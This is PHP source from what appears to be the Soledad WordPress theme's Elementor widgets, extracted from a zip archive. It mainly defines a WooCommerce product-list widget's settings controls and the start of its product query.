					<?php echo $close_image; ?>
				<?php endif; ?>

				<?php if ( $settings['about_us_heading'] ) : ?>
				<<?php echo $settings['title_tag']; ?> class="about-me-heading"><?php echo do_shortcode( $settings['about_us_heading'] ); ?></<?php echo $settings['title_tag']; ?>>
		<?php endif; ?>

			<?php if ( $settings['content'] ) : ?>
				<div class="penci-aboutme-content"><?php echo do_shortcode( $settings['content'] ); ?></div>
			<?php endif; ?>
		</div>
		</div>
		<?php
	}
}
PK     1w\ {g  g  /  elementor/modules/penci-product-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciProductList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-product-list';
	}

	public function get_widgets() {
		return array( 'PenciProductList' );
	}
}
PK     1w\)  )  C  elementor/modules/penci-product-list/widgets/penci-product-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductList\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciProductList extends Base_Widget {

	public function get_name() {
		return 'penci-product-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Product List', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'post', 'small', 'slider', 'carousel', 'product' );
	}

	protected function register_controls() {


		// Section general
		$this->start_controls_section(
			'section_type', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'type',
			array(
				'label'   => __( 'Type:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'grid' => 'Grid',
					'crs'  => 'Carousel',
				),
				'default' => 'grid',
			)
		);

		$this->add_control(
			'column',
			array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'default' => '3',
			)
		);

		$this->add_control(
			'tab_column',
			array(
				'label'   => __( 'Columns on Tablet', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
				),
				'default' => '',
			)
		);

		$this->add_control(
			'mb_column',
			array(
				'label'   => __( 'Columns on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
				),
				'default' => '',
			)
		);

		$this->add_responsive_control(
			'hgap', array(
				'label'     => __( 'Horizontal Space Between Products', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'vgap', array(
				'label'     => __( 'Vertical Space Between Products', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
				),
				'condition' => array( 'type' => array( 'grid' ) ),
			)
		);

		$this->add_responsive_control(
			'imggap', array(
				'label'     => __( 'Space Between Image & Content', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'vertical_position',
			array(
				'label'                => __( 'Vertical Align', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_control(
			'text_align', array(
				'label'       => __( 'Content Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->end_controls_section();


		$this->start_controls_section(
			'product_query_section',
			[
				'label' => esc_html__( 'Product Query', 'soledad' ),
			]
		);

		$this->add_control(
			'post_type',
			[
				'label'       => esc_html__( 'Data source', 'soledad' ),
				'description' => esc_html__( 'Select content type for your grid.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'product',
				'options'     => array(
					'product'            => esc_html__( 'All Products', 'soledad' ),
					'featured'           => esc_html__( 'Featured Products', 'soledad' ),
					'sale'               => esc_html__( 'Sale Products', 'soledad' ),
					'new'                => esc_html__( 'Products with NEW label', 'soledad' ),
					'bestselling'        => esc_html__( 'Bestsellers', 'soledad' ),
					'ids'                => esc_html__( 'List of IDs', 'soledad' ),
					'top_rated_products' => esc_html__( 'Top Rated Products', 'soledad' ),
					'recent_viewed'      => esc_html__( 'Recent Viewed Products', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'include',
			[
				'label'       => esc_html__( 'Include only', 'soledad' ),
				'description' => esc_html__( 'Add products by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type' => 'ids',
				],
			]
		);

		$this->add_control(
			'taxonomies',
			[
				'label'       => esc_html__( 'Categories or tags', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => array_merge( [ 'product_cat', 'product_tag' ], $this->get_product_attributes_array() ),
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->add_control(
			'orderby',
			[
				'label'       => esc_html__( 'Order by', 'soledad' ),
				'description' => esc_html__( 'Select order type. If "Meta value" or "Meta value Number" is chosen then meta key is required.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''               => '',
					'date'           => esc_html__( 'Date', 'soledad' ),
					'id'             => esc_html__( 'ID', 'soledad' ),
					'author'         => esc_html__( 'Author', 'soledad' ),
					'title'          => esc_html__( 'Title', 'soledad' ),
					'modified'       => esc_html__( 'Last modified date', 'soledad' ),
					'comment_count'  => esc_html__( 'Number of comments', 'soledad' ),
					'menu_order'     => esc_html__( 'Menu order', 'soledad' ),
					'meta_value'     => esc_html__( 'Meta value', 'soledad' ),
					'meta_value_num' => esc_html__( 'Meta value number', 'soledad' ),
					'rand'           => esc_html__( 'Random order', 'soledad' ),
					'price'          => esc_html__( 'Price', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'items_per_page',
			[
				'label'       => esc_html__( 'Products Per Page', 'soledad' ),
				'description' => esc_html__( 'Number of products you want to show in this list.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'offset',
			[
				'label'       => esc_html__( 'Offset', 'soledad' ),
				'description' => esc_html__( 'Number of grid elements to displace or pass over.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->add_control(
			'query_type',
			[
				'label'   => esc_html__( 'Query type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'OR',
				'options' => array(
					'OR'  => esc_html__( 'OR', 'soledad' ),
					'AND' => esc_html__( 'AND', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'order',
			[
				'label'       => esc_html__( 'Sort order', 'soledad' ),
				'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->add_control(
			'meta_key',
			[
				'label'       => esc_html__( 'Meta key', 'soledad' ),
				'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'condition'   => [
					'orderby' => [ 'meta_value', 'meta_value_num' ],
				],
			]
		);

		$this->add_control(
			'exclude',
			[
				'label'       => esc_html__( 'Exclude', 'soledad' ),
				'description' => esc_html__( 'Exclude posts, pages, etc. by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->end_controls_section();


		$this->start_controls_section(
			'section_image', array(
				'label' => esc_html__( 'Image', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'hide_thumb', array(
				'label'        => __( 'Hide Product Image?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'imgpos',
			array(
				'label'   => __( 'Image Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'left'  => 'Left',
					'right' => 'Right',
					'top'   => 'Top',
				),
				'default' => 'left',
			)
		);

		$this->add_responsive_control(
			'imgwidth',
			[
				'label'      => __( 'Image Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ '%', 'px' ],
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 600,
						'step' => 1,
					],
					'%'  => [
						'min'  => 0,
						'max'  => 95,
						'step' => 0.1,
					],
				],
				'default'    => [
					'unit' => '%',
				],
				'selectors'  => [
					'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                       => 'width: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content' => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				],
			]
		);

		$this->add_control(
			'image_align',
			array(
				'label'                => __( 'Image Align', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
				),
				'selectors_dictionary' => array(
					'left'   => 'marin-right: auto;',
					'center' => 'margin-left: auto; margin-right: auto;',
					'right'  => 'margin-left: auto;',
				),
				'conditions'           => [
					'relation' => 'and',
					'terms'    => [
						[
							'name'     => 'imgpos',
							'operator' => '==',
							'value'    => 'top'
						],
						[
							'name'     => 'imgwidth[size]',
							'operator' => '!=',
							'value'    => ''
						]
					]
				]
			)
		);

		$this->add_responsive_control(
			'img_ratio', array(
				'label'     => __( 'Image Ratio', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
				'condition' => array( 'nocrop!' => 'yes' ),
			)
		);

		$this->add_control(
			'disable_lazy', array(
				'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'   => __( 'Image Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'mthumb_size', array(
				'label'   => __( 'Image Size for Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'nocrop', array(
				'label'        => __( 'No Crop Image?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'description'  => __( 'To make it works, you need to select Image Size above is "Penci Masonry Thumb" or "Penci Full Thumb" or "Full"', 'soledad' ),
			)
		);

		$this->add_control(
			'imgtop_mobile', array(
				'label'        => __( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_postmeta', array(
				'label' => esc_html__( 'Product Meta Data', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'product_price', array(
				'label'        => __( 'Hide Product Price', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'product_cat', array(
				'label'        => __( 'Hide Product Categories', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'product_rating', array(
				'label'        => __( 'Hide Product Rating', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'title_length', array(
				'label'   => __( 'Custom Product Title Words Length', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'default' => '',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_carousel_options',
			array(
				'label'     => __( 'Carousel Options', 'soledad' ),
				'condition' => array( 'type' => 'crs' ),
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);

		$this->add_control(
			'loop', array(
				'label'     => __( 'Carousel Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 600,
			)
		);
		$this->add_control(
			'shownav', array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'item_bg',
			array(
				'label'     => __( 'Product Items Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'item_padding', array(
				'label'      => __( 'Product Items Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'item_borders',
			array(
				'label'     => __( 'Add Borders for Product Items', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
			)
		);

		$this->add_control(
			'remove_border_last', array(
				'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
				),
				'condition' => array( 'column' => '1', 'item_borders!' => '' ),
			)
		);

		$this->add_responsive_control(
			'item_bordersw', array(
				'label'      => __( 'Products Items Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'side_padding', array(
				'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
				),
			)
		);

		$this->add_control(
			'heading_pcat',
			array(
				'label'     => __( 'Product Categories', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-product-cats,{{WRAPPER}} .penci-product-cats > a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'cat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-product-cats > a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'cat_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-product-cats,{{WRAPPER}} .penci-product-cats > a',
			)
		);

		$this->add_control(
			'heading_ptitle',
			array(
				'label'     => __( 'Product Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'title_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
			)
		);

		$this->add_control(
			'price_ptitle',
			array(
				'label'     => __( 'Product Price', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'price_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-price span' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'price_hcolor',
			array(
				'label'     => __( 'Sale Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-price span del,{{WRAPPER}} .pcsl-content .pcsl-price span del span' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'price_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcsl-content .pcsl-price',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_spacing',
			array(
				'label' => __( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'cat_space', array(
				'label'     => __( 'Categories Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-inner .pcsl-content .cat' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'meta_space', array(
				'label'     => __( 'Product Price Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-inner .pcsl-price' => 'margin-top: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get attribute taxonomies
	 *
	 * @since 1.0.0
	 */
	public function get_product_attributes_array() {
		$attributes = [];

		if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
			foreach ( wc_get_attribute_taxonomies() as $attribute ) {
				$attributes[] = 'pa_' . $attribute->attribute_name;
			}
		}

		return $attributes;
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$type              = $settings['type'] ? $settings['type'] : '';
		$column            = $settings['column'] ? $settings['column'] : '3';
		$tab_column        = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column         = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos            = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		$thumb_size        = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size       = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$title_length      = $settings['title_length'] ? $settings['title_length'] : '';

		$thumbnail = $thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail = $mthumb_size;
		}

		$item_class = 'normal-item';

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		if ( 'crs' == $type ) {
			$item_class          = 'swiper-slide';
			$inner_wrapper_class .= ' swiper penci-owl-carousel penci-owl-carousel-slider';
		}
		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ( 'yes' == $settings['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		$data_slider = '';
		if ( 'crs' == $type ) {
			$data_slider .= $settings['showdots'] ? ' data-dots="true"' : ' data-dots="false"';
			$data_slider .= $settings['shownav'] ? ' data-nav="true"' : ' data-nav="false"';
			$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
			$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
			$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		}

		// product query

		$settings = wp_parse_args( $settings, penci_custom_product_query_default_args() );

		$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;
		if ( isset( $_GET['product-page'] ) ) { // phpcs:ignore
			$paged = wc_clean( wp_unslash( $_GET['product-page'] ) ); // phpcs:ignore
		}

		// Query settings.
		$ordering_args = WC()->query->get_catalog_ordering_args( $settings['orderby'], $settings['order'] );

		$query_args = array(
			'post_type'           => 'product',
			'post_status'         => 'publish',
			'ignore_sticky_posts' => 1,
			'paged'               => $paged,
			'orderby'             => $ordering_args['orderby'],
			'order'               => $ordering_args['order'],
			'posts_per_page'      => $settings['items_per_page'],
			'meta_query'          => WC()->query->get_meta_query(), // phpcs:ignore
			'tax_query'           => WC()->query->get_tax_query(), // phpcs:ignore
		);

		if ( 'new' === $settings['post_type'] ) {
			$new_label = get_theme_mod( 'penci_woo_label_new_product', true );
			$days      = get_theme_mod( 'penci_woo_label_new_product_period', 7 );
			if ( $new_label && $days ) {
				$query_args['date_query'] = array(
					'after' => date( 'Y-m-d', strtotime( '-' . $days . ' days' ) ),
				);
			} else {
				$query_args['meta_query'][] = array(
					array(
						'key'     => 'penci_pmeta_product_extra_options',
						'value'   => '"permanent_new_label";s:1:"1"',
						'compare' => 'LIKE',
					),
				);
			}
		}

		if ( isset( $settings['search_query'] ) && ! empty( $settings['search_query'] ) ) {
			$query_args['s'] = esc_attr( $settings['search_query'] );
		}

		if ( $ordering_args['meta_key'] ) {
			$query_args['meta_key'] = $ordering_args['meta_key']; // phpcs:ignore
		}
		if ( $settings['meta_key'] ) {
			$query_args['meta_key'] = $settings['meta_key']; // phpcs:ignore
		}
